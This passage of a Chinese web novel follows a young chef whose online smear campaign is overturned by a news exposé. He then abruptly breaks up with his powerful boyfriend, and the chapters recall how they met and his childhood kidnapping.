他上了热搜也一直沉默着,没有发声,也没有关评论,像是任人宰割。 节目里他大多数时候为了卫生要求还戴着口罩,很多过来骂他的人甚至都不知道他长什么样子,姜汀州账号也就几千粉丝,根本没几个人给他解释,哪怕替他说了几句好话也压在轰轰烈烈的讨伐里,无从反抗。 一时间,他账号下面几乎全是各种辱骂的内容,简直不堪入目。 姜汀州手机还是关机的,但是网络上的事情却是基本都知道。 田荟看到热搜,又看到那些冲过来骂人的人,一边生气,一边忍不住惊讶。 “天呢,哥,这真的和你说的一样,”她惊叹道,“你怎么知道你们老板一定会把这件事甩锅给你啊?连拉上赵彤知闹上热搜这种事情你都能预测到,这么准!” 姜汀州笑了笑。 能预测这些事情和他重生没有半毛钱关系,毕竟上辈子这些事情并没有发生,但他太了解老店这些人了。 赵彤知是杨店长的熟识,肯定会向着他说话,杨店长此人又是惯常的不愿意承担责任,这是他必然的选择。 以前也有店里的客人因为一些事情不满意的时候,几乎都是姜汀州主动出来打圆场,把事情揽到自己身上,杨店长美其名曰这是“锻炼他”,店里众人都觉得他毕竟是姜家的亲儿子,不可能开除他,对此习以为常。 能者多劳,像姜汀州这样的人就得顶在前面,大家都这么想。 这件事就连安小屏都不觉得意外。 “你都不知道到姜家那些人有多欺负他,”安小屏撇了撇嘴,“我说过他多少回,他从来都不听,只会忍。” 姜汀州自回了家之后,就渐渐变得瞻前顾后走一步想三步,事事大局为重劝自己小不忍则乱大谋,处处有所顾忌。 事实证明,人只要能吃苦,就会一直吃苦。 田荟还是有点不敢置信:“但是你们店长不是知道自己被拍了视频吗?这样也敢造谣啊。” “他不知道你是记者,”姜汀州道,“就算他知道,也一样会这么做的。普通的小媒体哪有这样的影响力,是吧?” 安小屏在病房里架了张陪护床,现在正在偷偷看手机,姜汀州反复叮嘱他不能再参与这种骂战,到此为止,这不符合他的小网红人设,会污染他的号。 他这样严肃,安小屏有所收敛,但是他还是偷偷开了小号,持续战斗。 “他还请了水军,别以为我看不出来!”他手指啪啪地在手机屏幕上打字,一看就是正在和人对线,“颠倒黑白,无耻之极!” 网上那些人根本就不懂! 田荟在边上敲键盘改稿子,道:“哥,我觉得时间差不多了,你给我的内容已经加进去,整理好了,咱们是不是准备发了?” 姜汀州看了一眼,道:“可以。这回你小组长不会抢你稿子了吧?” “他倒是想抢来着,毕竟这件事关注度可比之前那些小新闻大得多,”田荟嘿嘿一笑,“但是我按你教的,只给他看了一半,而且视频还在我手里,没给他。” “你放心,热点新闻可拖不了,必须赶紧给主编审稿,否则都要错过了合适的时间,当然没空和我耍心眼了。” 青鱼新闻的主编倒是效率很高,没有那么多弯弯绕绕,发稿前是直接给田荟打的电话。 倘若只是普通的医闹视频算不得什么,但现在却变成了能打脸赵彤知这种大明星的料,还是独家新闻,对于小媒体来说可不多见,自然是主编亲自过问,别人根本不清楚这件事的原委,旁人想抢功劳也没办法。 姜汀州看了看时间,道:“可以,准备发吧。” 此时的杨店长看着热搜节节高升,只觉自己总算是出了一口恶气。 他看到有些人把他昨天“医闹”的照片在网络上发了出来,但是这些人都是普通的围观群众,在明星粉丝和水军的冲击下,根本没什么热度,轻而易举地就被压了过去,他就更加放心了下来。 他还能不知道姜汀州?就是个会做菜的二愣子,他认识几个媒体?知道什么话语权? 再这样闹下去,怕是姜总也要责问他,到时候看他怎么收场。 就他,还想和姜柚争? 杨店长嗤笑了一声,靠在椅子上想仔细看看姜汀州是怎么挨骂的,轻松地哼起歌来,但是当热搜升到最高的时候,风向却突然转变了。 一个永青本地的媒体,叫“青鱼新闻”的,就有十来万的粉丝,突然站出来了。 虽然和赵彤知千万粉丝的数量没有办法比,可这回拿出来的东西却硬得很。 对方手里居然拍到了当时“医闹”的完整视频,还是高清的版本,还放出了一张病例单,上面写着姜汀州高烧不退,医院要求住院,每一件都造不得假,并且还把这条给置顶了。 这件事上了热搜,本来就吸引了很多路人,粉丝和水军还在狡辩,但正常人一眼就看出不对劲了。 “等下,到底谁殴打谁啊?明明是店长跑去医院殴打病人吧?旁边护士都被推倒了,这是医闹吧?” “多大的明星啊,人家发烧三十九度还要给你做菜,医院的病例单明明白白写着,现在粉丝还网暴别人,真是没天理。” “原来是这样,我当时看热搜就觉得奇怪,赵彤知说别人耍大牌,好笑,业内都知道,他就是最仗势欺人最会耍大牌的了,我跟你们说……” 随着这一反转,本来热度隐隐降下去的热搜又一下子逆风而起,一下子冲上了前十,毕竟这种骂别人自己反倒一身黑的戏码实在是太有戏剧性了。 现在,虽然水军和粉丝还在嘴硬,目前仍在吵得难解难分,但杨店长已经感觉到不对劲了。 姜汀州真的敢把这事情搞大?他不想维护这个店了?他上哪里找的记者? 他脑子里冒出一大堆问号,着急忙慌地再给姜柚介绍的水军公司打电话,对方也没想到发展成这样,但是安慰他自己有办法,还可以扭转局势,但是得加钱。 杨店长听着那个数目都忍不住颤抖了一下,但是事已至此,他只能咬牙答应,然后立刻转账。 水军公司确实有些能耐,用其他的言论把青鱼新闻那条给压了下去,随后持续用水军洗版,看起来马上可以逆转回来,但这正炒反炒之下,热度却越来越高了。 本来只是件小事,这条热搜竟然一路登上了热搜榜一。 但杨店长这口气并没有松下来太久。 没过多久,他的电话就被打爆了。 按理来说关注度不会找到他这里,网络上的骂战围绕着姜汀州,杨店长也不是公众人物,舆论反转了也有赵彤知这个大明星在前面顶着,可打过来的并不是普通人,许多是宫宴的vip客户,一来就劈头开脸地质问:“杨金豪,你们凭什么给人加塞?!” “宫宴什么时候让插队的?你给我出来好好解释解释,看人下菜碟是吧?” “什么明星记者大v,他们算什么东西?” “临时定位都能给包厢这件事不给解释清楚,我以后不会再去了,永青这地方难道差你们一家高端餐厅?给我一个说法!” 杨店长一脸懵,只好给人陪笑脸,过了好一会儿才反应过来,那篇新闻传递的信息量到底是什么。 ——根本就不是耍不耍大牌的事情,更不是他和姜汀州谁对谁错的事情。 赵彤知的行程粉丝很清楚,他来到永青是有个活动取消了所以临时改道,宫宴的位置现在哪怕资深老客去订,也要至少提前一个礼拜,就算成倍加价,还未必订到最好的包厢,结果赵彤知竟然临时订到了?! 上英永青一带作为沿海城市,是全国最发达的城市群之一,宫宴的许多客人贵不可言,平时哪里看得上什么大v明星,这群人待遇居然比自己好? 宫宴收费一直很高,特别是老店的标准,一桌宴请七八个人,一餐下来顶得上一个奢侈品包包,因为种种原因,一直稳坐永青高端餐厅之首,甚至在隔壁的省会上英市也小有名气,会有不少人专门过来吃。 除了高端的服务、顶级的食材和口味,客人们为这样高昂的价格付账,自然也有其他的附加价值。 许多客人的商业晚宴会选在宫宴,这样给足对方面子,表示自己的重视,也是彰显自己的实力,许多的合作就是在这种商务晚宴都觥筹交错里谈成的,这种“附加价值”仿佛奢侈品牌的光环,是绝对不能被破坏的。 一些位置难订的新闻和争端,并不对这光环有什么很大的影响,但吵来吵去引出的一堆细节,特别是明星的行程和临时定豪华包间的问题,这让一些老客人看见了,就感觉到不对劲了。 杨店长本着自己的私交和宣传的想法给人走后门这件事,不被发现自然没什么大不了,但现在摆在台面上了,还闹上热搜,就很难看了。 杨店长之前陷在对姜汀州姜汀州的报复心里,完全没有意识到这会产生的连带效应,现在,他整个人都懵了。 这些有地位的老客们如果觉得自己受到了轻视,自己不再“尊贵”了,对宫宴来说,是比任何事情都要严重的危机,这种带着怒火的电话,甚至打到了姜氏总裁的手机里。 事情到了这个地步,才真的是不好收场了。 7、第七章 现在,杨店长反而成了那个想把热搜快速撤下来的人,但这已经不是他能控制的了。 而且热度一高,真相反而更加清晰。 无论下多少水军,青鱼新闻给的锤太硬了,谁都没有办法辩驳,热搜内容一度变成了“明星网暴生病的打工人。” 部分粉丝还在胡搅蛮缠,但正常路人看了这些内容,心里都有数,不少人默默去姜汀州微博底下把骂他的话删了,也有少数几个低头道了歉。 现在他的评论区一夜反转,看着比之前干净许多,安小屏还努力把一些友好的评论点上去了,大家情绪正常之后,倒是会关注他发布的内容了。 姜汀州的账号里全是做菜的,但是他确实不怎么会玩网络,视频很粗糙,既不讲解配音也不露脸,机位也不会切,剪辑也稀烂,灯光经常就是暗暗的,完全没有滤镜,闷头就是库库一顿做。 但即使有这么多debuff,他做出来的菜看起来真的很香。 下面有一条炖牛肉的视频,非常简单粗暴,一掀起锅盖水蒸气“呼啦”一下冒上来。砂锅炖出来的牛肉看起来软烂入味,泛着油光,酱香味十足。 再撒上一把葱花,勺子一搅,把下面炖得酥烂的土豆也翻了上来。 这条视频哪怕热搜还没有反转的时候,下面的评论几乎都没有骂得难看的。 “你人挺烂的,这牛肉……牛肉看起来也挺烂的。” “有一说一,菜做的不错,拿冠军应该不是黑幕。” “要不给我吃口?我吃人嘴短就不骂你了,反正我也不太喜欢赵彤知。” “看起来确实好吃,我看着都馋,怪不得连大明星吃不到都要发脾气,大晚上看着吃不到真是抓心挠肝,急得我去厨房转了一圈,啥也没有,兑着水喝了半勺醋。” 从事情发生以来,姜汀州一直都没有更新,但他的粉丝量倒是涨了一些,变成了五万多,还有人催他更新的。 安小屏最先为这件事发声,且事实反转之后,确实如他所说,他还长得好看,也算是因祸得福,粉丝跟着涨了不少。 比较起来,青鱼新闻那条博文发出来倒真的成了爆款,除了澄清的热度,还引来了关于赵彤知的粉黑大战。 很多人在下面爆料他之前耍大牌的事情,引来许多营销号转发,不少人大呼“塌房”,一来二去的,转发竟然上了十万+。 青鱼新闻可比姜汀州勤快多了,更新频率很高,粉丝也直接翻了个倍,一下涨了十来万。 小记者田荟看起来十分兴奋,她万万没想到还有这种天上掉馅饼的机遇。 前段时间她在公司被排挤得苦闷至极,作为一个新人又没地方诉苦,现在因为这一条新闻,主编总算看到她了,还知道了之前的事情,很快把她调离了之前的组,放在更重要的部门了。 这次的新闻成绩确实是公司里数一数二的亮眼,听说原来那个欺负人的组长也自食恶果,已经被降职了。 她来陪床照顾自己母亲的时候,甚至都想着辞职算了,完全没想到还有这样的事情,好像天上掉馅饼一样。 “姜哥,你可真是我的大福星啊,”她忍不住地高兴,由衷道,“可惜就是还有水军在那里胡搅蛮缠,我总感觉没怎么帮上你,倒是我们公司占了便宜。” 其实姜汀州的年纪比田荟小一岁,但是她就是自然而然叫上了“哥”,并且没觉得有哪里不对。 田荟觉得他浑身那个气质,就是让人心甘情愿叫大佬的感觉,叫哥还叫低了。 姜汀州笑:“那些水军没什么的,这件事对我来说重点不在网络骂战上其实是你帮了我很大的忙了。” 热搜本身不重要,宫宴店里的事情他们未必清楚,于是他简单讲了一下自己为什么要把这件事闹大,安小屏和田荟听了也有些懵,仔细想了好一会儿,才理解过来。 安小屏知道杨店长为此焦头烂额,咧开嘴笑了好一会儿,但之后又回过味来,嘟囔了一句:“你在姜家过得也真是够心累的。唉……你以前真不是这样的。” 他记得姜汀州以前是个思维挺简单的人,并不会这些弯弯绕绕。 田荟也随着感慨:“我可没有这个脑子。” 姜汀州这是许多年磨出来的,磨得他直来直去的性格变了个样子,一开始是学会忍让,后来才慢慢琢磨出一些门道来。 他知道很多事情哪怕开诚布公都解决不了,摆事实讲道理根本没有用,哪怕自己有理都要吃亏,只能耐着性子迂回处理,才能达成所愿,让自己不吃亏。 他做这样的计划已经很熟练了,并也不觉得多麻烦,但听别人这样一说,也笑了一声,自言自语地说了一句:“……确实。” 这条热搜从昨天晚上一直闹到今天上午,甚至中午的时候都还挂在热搜低位,到最后基本上已经完全反转,但中午吃饭的时候,安小屏低头刷了一会儿手机,突然“咦”了一声,道:“赵彤知删博了,他居然还道歉了?” 他一个人删博道歉倒还正常,作为演员他最近还有新的电影要上,为了降低影响当然要低头道歉,只是大众未必买账罢了,爆出来的黑料可没有那么容易洗。 可赵彤知道歉之后,那几个一向嚣张的记者大v居然也陆续出来道歉,直说是误会一场,希望姜汀州谅解。 原来他们阴阳怪气的言论早就删除了,但这还不够,这几个粉丝量几十万甚至几百万的记者大v,平时造谣生事的时候就不少,这回道歉之后,竟然有官方的处罚公告。 最开始挑事的那位直接被封了三年,粉丝随之掉了一大堆,再搜那个词条,原来辱骂姜汀州的很多微博都已经被删掉了,有许多说话特别难听的水军账号还被封了号。 速度之快,差点让安小屏以为自己昨天战斗一晚上的热搜是个幻觉。 虽然官方确实会因为网络安全的原因时不时会做一些处罚和清理,这些人是刚好撞在枪口上了,但如此迅速坚决,甚至连这些所谓交“保护费”的大账号也封,明显不太对劲。 田荟赶忙去看,道:“我们的新闻倒是还留着,而且还在词条上置顶了,这……” 这可真是她从来没见过的大手笔。 姜汀州皱了皱眉头,就在这个时候,他手机响了。 他手机之前是一直关机的,现在打开是田荟想加个微信好友,一开机有很多未接来电和消息,卡了好一会儿,全部被他统统忽视,店里那边正在焦头烂额,没有空打扰他。 这个打过来的电话,他低头一看,上面的名字是陆白屿。 ——倘若是这位手眼通天的小陆总,做到这种程度确实易如反掌。 陆白屿。 他盯着这个名字看了好一会儿。 迂回处理是现在没有足够能力的姜汀州的做法,但对于他来说就没有必要了。 再看到前男友,嗯,实际上现在的时间段应该是现男友,姜汀州看着这个名字愣了一会儿之后,下意识把电话挂了。 他就这样挂掉电话,安小屏都愣了一下。 他看到了手机上的名字,作为朋友,自然认识陆白屿这个人,而且他非常清楚这个人在姜汀州心里的分量的,且他认为姜汀州怎么样都不肯离开姜家,大部分的原因都是因为陆白屿。 不用多想,热搜上的事情肯定是这位小陆总做的,正常来说姜汀州意识到这一点会很高兴的,毕竟陆白屿于他来讲极为重要,今天怎么…… 挂掉电话之后还没完,姜汀州的手机只安静了一会儿,就又响起来了。 他不接不行,哪怕把这个号码拉黑也不行,之后就会有新的号码打过来,他的手机不可能一直关机。 姜汀州想了想,选择接通,对面是陆白屿的秘书,恭恭敬敬叫了一句姜少爷,随后又低声说了一句“他接了”,对面就换了个人。 “汀州?” 他好久都没听过这个声音了。 陆白屿听对面没动静,又问道:“你现在还发烧吗?” 姜汀州沉默。 他一时不知道该说什么。 重生后面对前男友倒是没什么万般心绪涌上心头的感觉,因为这些浓烈的情绪辈子已经涌完了,只剩下一片沉寂,于是在这个时刻,只留下一种淡淡的不可言说的尴尬和无所适从。 唯有一点特别的感觉,是他的右手隐隐作痛,即使现在根本没有受伤,却好像有些记忆神经性的反应一样。 但他稍微活动了一下,这一点假性感觉又散去了。 “我没事了,”姜汀州礼貌回复道,“网上那些事我刚刚看到了,感谢小陆总帮忙,真是麻烦你了。” 这回轮到陆白屿沉默了。 “你在说什么?” 姜汀州心里那种无所适从的感觉更明显了,他不知道和已经老死不相往来的前男友说什么,甚至尴尬地开始扣病床被子上的毛球。 “是这样,小陆总。”他组织了一下语言,最终觉得还是开门见山的好,“我这段时间仔细想了想,慎重考虑后,我觉得我们两个还是分开比较好。” 陆白屿沉默了好一会儿,语调听起来还是原来那样子,平静地问他:“你生气了?是在怪我不在你身边吗?” 姜汀州诚实道:“不是。” 他这两天病着,一天大多数时间都在睡觉,醒了之后稍微有点精力都来应付杨店长那边的事情,重生后要和陆白屿分手的事情就一时没想起来。 现在刚好打电话过来了,就趁此机会提一提,省得以后麻烦。 “好了,汀州,不要闹了,”陆白屿道,“姜家的麻烦我知道了,会帮你解决的,其他的事情等我回来再说。” 真不用。 姜汀州想说这些事情自己也能解决的,也想说我们两个在一起本就是一时冲动,早点分开对两个人都好,免得在以后闹成那样,现在分手说不准以后还能做朋友呢,对大家都好。 但陆白屿不容他分说,已经离开电话了。 他确实很忙,没有空和他掰扯感情这一点小事,姜汀州在电话里都能听到背景音,应该是还在开会,中途纡尊降贵从会议里抽身出来给他打这个电话。 他这次出差谈的是数百亿的大生意,为他这一个热搜还特意去处理,算是费心了。 姜汀州也不好把人叫回来,毕竟他也不知道该怎么和对方解释自己不是开玩笑。 这几年疯狂暗恋千方百计追求的人是他,一个月前好不容易求到手的人也是他,现在突然说这种话,正常人看来确实莫名其妙,对于对方来说是不容易接受的。 这电话没挂,被秘书接了过去。 这位宋秘书在陆运集团工作二十年,很受陆家信任。 现在姜汀州和陆白屿在一起的事情如今别说外界,连陆家父母都不知道,她却一清二楚,此时说话轻柔却有力量:“姜少爷,陆总现在确实是有很重要的合作要谈,您生病他也很关心的,只是这段时间您电话一直不通,陆总一直都在花时间担心您。” “他在国外出差,本来就有时差,一时顾不上国内,听到消息之后就叫了人去医院,说您这边不接受探视,医生也说您恢复得还可以没有大碍,他才放心,网络上的事情也特意托了关系去处理。” “请您理解他,千万不要在这时候任性。” 听起来是在解释,但语气总带了一分居高临下,特别是最后一句话,像是什么家长一样,指责他有哪里做的不对。 二十二岁的姜汀州是有些怕她的,甚至许多时候还努力讨好她。 但三十二岁的姜汀州没什么好怕的。 “宋秘书,我劝你一句你最好摆正自己的位置,”他道,“我和陆白屿不论关系怎么处,都轮不到你来管我。” “你有空在这里教育我,不如赶紧转达一下我要分手的意思给他,以后别来打扰我,大家都清净。” 8、第八章 宋秘书愣了一下,完全没想到自己会被姜汀州这样怼回去,只说了一个“你……”字,电话就被他挂断了。 姜汀州迅速通过了田荟的好友申请,最近几天给他发消息的人很多,他粗粗扫了一眼,全都没有回复。 但是他无法忽视的是,自己和陆白屿的聊天框是置顶的,他想长按取消,手一滑就点了进去。 在两个人的聊天记录里,前面还是姜汀州发的十来条信息,喋喋不休地说着甜甜蜜蜜的话。 “老公,想你[爱心]。” “昨天晚上梦到你了,特别特别想见你。” “我弄了一道新菜!” “[图片]” “你什么时候回家呀,想做给你吃。” 发最后那一句话的时候他已经开始发烧了,但是一句都没和陆白屿提,对方也没有在这里发问。 他是真的忙,光不同用途的手机就有三个,一个生活两个工作,平时基本没有空和他聊天,有什么事习惯让秘书打电话,或是等到他回永青和姜汀州见面再当面说。 姜汀州从来都是体谅的,并且对此习以为常,哪怕看起来大部分时间在演独角戏也高高兴兴的。 但现在的他看着这洋溢着傻气的恋爱脑对话记录都忍不住尴尬,多看一眼都要脚趾蜷缩,用自己毕生最快的速度打字并发送。 “你好,分手,拜拜。” 然后他干脆利落把陆白屿的各种联系方式都拉黑了,包括他身边几个秘书的,就像重生前那几年一样。 做完这些之后,一回头就看到安小屏憋不住八卦的眼神,甚至田荟和田阿姨也伸着耳朵听。 “你……你和陆白屿在一起了?” “什么时候的事情?” “怎么不和我说?” “你们两个都在一起了,还和陆白屿分手干什么?你脑子真的烧坏啦?” 安小屏问的问题和连珠炮一样,姜汀州不知道怎么和他说。 两个人怎么在一起的,其实很简单。 大概一个月前左右,姜汀州拿到第一个冠军,高兴得不行,在家里给陆白屿做了大餐,他低估了那瓶酒的后劲,喝多了,又借着酒劲表白,于是睡了一觉,醒来之后一身斑驳的姜汀州惊喜大过惊吓。 但睡都睡了,他脑子乱了,突然壮起胆子,问陆白屿是不是算在一起,对方没有否认,反而在床上抱住他,亲了亲他的额头,这就算是默认了。 在一起之后,两个人都很有默契地没有对外说。这段恋爱关系一开始就不太正常,但彼时恋爱脑上头的姜汀州不在乎。 事实上,除了姜汀州自己,没人会相信他们两个会在一起,就连带滤镜看他的安小屏这个亲朋友知道他一直暗恋陆白屿,之前都直言过,不要妄想,不可能的。 甚至田荟也多嘴问了一句,抖着声音小声问道:“你们说的陆白屿,不会是陆运集团的那个小陆总吧?不可能吧,如果真是他,哥你也太……” 她想说大佬你也太牛了吧,但又觉得这个形容词不足以形容这段令人震惊的关系,想了半天都没有想出合适的形容词。 陆白屿这种传说级别的人物都谈得上! 姜汀州笑:“你也觉得不可能吧。” 陆白屿是什么金光闪闪的人物,国内物流业的龙头企业陆运集团培养这么久的未来继承人。 陆氏是国内最早做出口的家族之一,后来又敏锐察觉了国内物流运输的蓝海,很快成立了陆运物流集团,很早以前便已经是富甲一方的大人物,贵不可言。 陆白屿自小就很优秀,今年二十八岁,比他大六岁,早就成了独当一面的人物。 这几年陆运集团在国内物流运输业独占鳌头,特别是在冷链运输方面甩了同行一大截。近年来陆运集团还致力于慈善事业,他出面帮了不少偏远地区的发展,从捐款建学校到当地支柱产业建设,都是他的手笔,得到了一致称赞。 他长得好看,能力出众,如今已经成了陆氏对外的代表和话事人,说话的份量比他父亲陆震霆也不差多少,大众关注度很高,不输给一些流量明星,风评更是极好,是公认的国内年轻企业家的风云人物。 田荟连忙摆手道:“我不是这个意思。” 她觉得姜汀州好看聪明又厉害,有一个优秀的恋人也很正常,但谁让陆白屿这种人确实厉害得过分了,不像人,像是个神仙。 他们两个都很好奇,但是一看姜汀州的表情,两个人又默契地不再往下问了。 这毕竟是别人的私事,且听刚刚的对话,这样干脆利落的分手,对方又是那样的人物,许多细节不好对外面说。 两个人还怕他说这件事不高兴,很快就转移话题了。 可姜汀州坐在那里,不由自主地想起更多。 就算没有恋爱关系,陆白屿是他人生里很重要的一个人,给他留下抹不掉的痕迹。 陆白屿的工作履历大众都很清楚,但姜汀州知道更多别人不知道的。 他一回来就听到自己父亲十句话里面能有五句提到“陆家”,就知道陆家是自家拼命巴结的靠山,两家人有一些特别的交情。 陆家刚巧有两个孩子,陆白屿比他大六岁,彼时正在国外留学,隐隐约约听说过,那是个很厉害的人,陆嘉和是小儿子,和姜汀州姜柚年纪差不多。 陆嘉和同姜柚关系好,是自小一起长大的好朋友,两个人从小一起长大,所以对姜汀州一向没什么好脸色。 但陆白屿不一样。 素未谋面的陆白屿却在自己回家的时候送了很多礼物过来,那是自己尺码的数十套换洗衣服,有些还是定制的,比姜家人准备的还上心,至少在外表上帮他完成了这场过渡。 上门给他量身的师傅第一次提到这个名字,说是陆白屿陆大少爷特意叫他们过来的,温和地告诉他,不要紧张。 “陆大少关心你,放心,你不管怎么样都会过得好。” 姜汀州当时没有多想,觉得是这是因为两家有些交情对方的好意,心里只有感激。 转学之后,姜汀州在新学校成绩垫底,请来的补课老师也是陆白屿找的,老师很厉害,只是他基础实在太差,拼命学也无法在短时间内弥补差距,但他心里始终记得有个人会关心自己,便一直没有放弃。 两个人第一次见面的时机也很巧。 姜汀州很努力地适应了新生活,好不容易有了点眉目,还靠着选拔加入了篮球社。 他长得高,身体素质还很好,有机会训练一下就表现不错,但是好景不长,两个月后,他在学校被污蔑偷了社团的经费,两万块的篮球队活动经费不翼而飞,摄像头拍到了他出入,又在他的柜子里找到了钱。 姜汀州一看就知道这八成又是姜柚做的,他靠着打篮球稍微在学校里混了一点人缘,姜柚就看不下去。 但别人不信。 陆嘉和彼时还是篮球队的队长,也是十分怀疑,一群人在教务处闹到晚上,七嘴八舌的,就要给他定罪,这件事要是请家长,姜父来了一看这群同学的家世,估计就要不管不顾直接认下,并强迫姜汀州道歉。 但来的人是陆白屿,他此时仍然在国外留学,只是恰好休假回来几天,顺路接陆嘉和回家,进了学校听了这场闹剧,第一句话就是:“不是他。” 陆家有这家贵族学校的股份,是校董会的成员之一,他讲话是有分量的。 有同学愤愤不平,回怼一句凭什么,这所有人都没有人缺钱,大家都不把这两万块当回事,只有姜汀州小家子气,平时一点钱都要省着花,整个队里只有他有动机偷钱。 但面对陆白屿,他的嗓门也越来越小,底气也渐渐不足。 “节省就会偷窃吗?你们不差钱,姜汀州难道就差这两万块吗?”陆白屿道,“三个月前我知道汀州进了篮球队,送给他一块运动手表,那块表二十万,他自己查了价格,死活不敢收,硬是给我送回来了。陆嘉和,这件事你明明是知道的。” “摄像头拍到他是上午,你们在柜子里找到钱是下午,中间四个多小时的时间,学校可不是封闭式教学,他蠢到不知道把钱转移走吗?就等着你们来查?体育室的柜子一撬就开,谁都能放进去,这就算是证据?” 他这样的气势,整个办公室的人也不敢讲话,篮球队里有人心虚,不敢再反驳。 姜汀州却呆愣愣地抬眼看他,过了好一会儿,才抬手擦了擦自己通红的眼眶。 原来这就是那位送自己东西的陆白屿。 他来的时候穿一件墨蓝色的大衣,风尘仆仆地进来,只一眼就让人移不开眼睛,他终于明白为什么圈子里提到这位没有人不夸的。 一个完美无缺的、比他的想象还要更好的人。 这许多话姜汀州也解释过,但是没有人相信他。 这里都是有钱人家的孩子,比姜家更有钱,校务处知道有蹊跷,可不敢报警闹大,只想息事宁人,甚至还和他说背个处分没什么大不了的,但陆白屿开口就不一样了。 他来之后,两万块钱的事情算是解决了,学校想大事化小小事化了把这件事遮过去了,还一直道歉。 姜汀州知道查下去也找不到真相,能这样还他一个清白就已经是很好了。 他这个时候不再像刚回来那样不依不饶,已经学会了许多事情追究下去也不会有好结果,不如到此为止。 “之后我会和学校再谈,”陆白屿安慰他,“他们不敢说你了,走吧,我送你回家。” 他在学校气势如此强大,面对姜汀州便收敛起来,显得很是温柔。 车里,陆白屿和姜汀州坐在一排,姜汀州不敢看他,低头说了一句谢谢。 “不用,”陆白屿伸手轻轻摸了摸他的头发,“本来就是陆家欠了你的。” 陆嘉和在后座嘟嘟囔囔:“哥,你别老说这个,这么多年不是早就还清了。” 姜汀州这个时候还不太明白什么叫陆家欠了他的,他有点紧张地抠着手指,不敢多问,但陆白屿一听弟弟这么说话却生气了,严厉道:“陆嘉和,闭嘴。就算没有以前的事情,汀州对你来说就是一个普通的同学,这是你作为篮球队队长处理问题的方式吗?谁教的你这样的心性,一点判断力没有,脑子动都不动,就跟着别人一起欺负人?我在校门口等了你半个小时,就这么简单的事情你都没有解决好,还敢犟嘴?” 陆嘉和在他哥面前不敢说话,挺大一个子,就低着头大气也不敢出,喏喏着认错,最后小声说了一句:“我回头肯定处理好,你别告诉爸爸。” 陆白屿道:“你现在和汀州道歉。” “对不起,”陆嘉和连反抗的心思都没有,转头就老实道了歉,“姜汀州同学,对不起,我不应该在事实真相不明的情况下这样对待你,以后不会了。” 姜汀州愣了好一会儿。 他张了张嘴,想说“算了没关系”,但这是陆嘉和这种人第一次低头和他道歉,他心里压抑的许多情绪一下子涌上来,鼻子发酸,一下掉了眼泪。 他之前被人冤枉的时候都一直忍着,没让眼泪掉下来,现在反而忍不住了。 他从来没有受过这样的偏爱,哪怕是失而复得的家人也从来没有给予过,但是众人眼里高不可攀的陆白屿却给了他。 这件事刻在他心里,一辈子都没有忘记。 9、第九章 姜汀州很快伸手揉了揉脸,擦掉了眼泪,压着嗓子道:“他们、他们都更喜欢姜柚,我说什么都没有人相信。” 他第一次可以和人抱怨这些。 陆白屿给他拿了纸巾,安慰他道:“我听补课的老师说过你的情况,汀州,你很努力,一时做不好不要紧的,你刚回家不久,这不是你的错。” “我会相信你的,汀州,你也要相信自己,你不比别人差,陆家有责任帮你回归原来属于你的生活,不用觉得不好意思,以后自然会好的。如果还有哪里过不去的,就尽管来找我。” 经历过这件事之后,暗恋陆白屿,对姜汀州来说简直和呼吸一样简单。 但也是因为车上的对话,他也由此觉得奇怪,为什么说陆家欠了他的。 姜汀州为此偷偷调查了很久,才知道事情的原委,为什么陆白屿会特意关心自己,为什么本来和姜家云泥之别的陆家会成为姜家十几年的靠山。 别说他自己,就算是整个姜家,在国内高端餐厅行业有头有脸的姜氏企业,论资产规模,做陆家小弟都不是很够格。若不是陆氏的帮扶,姜家说不定都倒闭了,绝不会有这样的发展。 陆氏有姜氏食品40%的股份,一手把姜家做顶级餐厅的人脉提了上去,对于姜家来说就是天上掉馅饼的事情。 这样的帮扶和链接,很大程度源于姜汀州的走失案,因为姜汀州五岁时候不是意外走失,算是替人挡灾。 多年前,五岁的姜汀州随着家长去参加陆氏的宴会。 姜家不过是宴会上最普通的客人,要不是因为姜母和陆夫人有一些同学的情谊,他们家是不可能进得了这样的圈子的。 偏偏是在那天,陆家的竞争对手想趁着人多眼杂,把陆家小儿子陆嘉和绑走。 但是请的绑匪职业素养不太过关,有勇无谋,并没有见过被陆家保护极好的小儿子,只有几张模糊的照片,当天陆嘉和因为感冒,根本没有出房间门。 阴差阳错之下,这帮绑匪把跟着家里人来参加宴会又落单的长得和陆家小儿子有那么几分像的姜汀州绑走了。 等到勒索信息发到陆家的时候,这场绑架的乌龙才被发现。 陆家很快搞清楚了来龙去脉,不仅迅速报警还一直和绑匪电话周旋,但几个绑匪先是负隅顽抗,后来发现不对劲之后开始四散奔逃,最终只抓到一个绑匪。 但他并不知道逃走的其他两个绑匪把孩子扔到哪里去了,只说孩子发烧了,实在累赘,便丢掉了。 那时候的刑侦手段有限,也没有那么多摄像头,信息传输不发达,姜汀州就这样没了下落。 没有人知道他高烧一场后失去记忆,被屠夫捡到收养,甚至还在之后被养父阴差阳错地被带回了永青,一直在老城区艰难生活,他住的地方和姜家的别墅只有一个多小时的车程,但是两边的圈层差得太远,根本没有碰面的机会。 当时的追查的结果定了失踪,一个五岁的孩子存活的几率实在不大,所有人都以为他死了。 这样的结果传来,陆家对姜家自然愧疚,特别是姜母身体不好,已经不能生育,姜家就这一个唯一的孩子,结果就这样没了。 就为着还这一点愧疚,陆家那滔天的富贵,随便甩出一点,就足够姜家脱胎换骨了。 那时候姜氏是最困难的时候,姜父手艺不怎么样,根本没有上一代的水平,就剩老店一家店了,其余的店关的关倒的倒,唯有一点“御厨”的名声支撑着,还能维持这个家,有了陆家的帮助之后,简直就是飞升。 不提大笔的注资和帮扶,陆家的进出口和运输本就是国内一流,姜家在那个时候能轻松拿到国内外的顶尖食材。 鲜活的澳龙、帝王蟹、深海甜虾,顶级的菌类蔬果……有这样的供应链,甚至不需要太好的厨艺,最简单的做法就已经是一流的味道,更何况还有陆家带来的高端餐厅的客流和背书,姜氏便一下扶摇直上了。 姜汀州的走失,某种意义上是姜氏的幸事。只要有这样一个因挡灾而“死去”的孩子,陆家和姜家的联系就一直存在。 从这个方面来说,姜汀州回到姜家,对姜家来说,未必是好事。 姜家并没有主动找过他,是陆家一直没放弃,这几年公安的刑侦手段也进步了不少,遍布全国的天眼系统硬是把那两个绑匪逃犯抓了回来,凭着两个人的供词,一路找到了姜汀州的下落。 这许多事情姜汀州因为幼时到的高烧全都忘记了,直到了回家之后才慢慢弄清楚,他就明白了自己作为亲生的孩子回家之后反而不受待见的原因。 姜家除了母亲对他的关心算是唯一的温暖,剩下的全是算计。 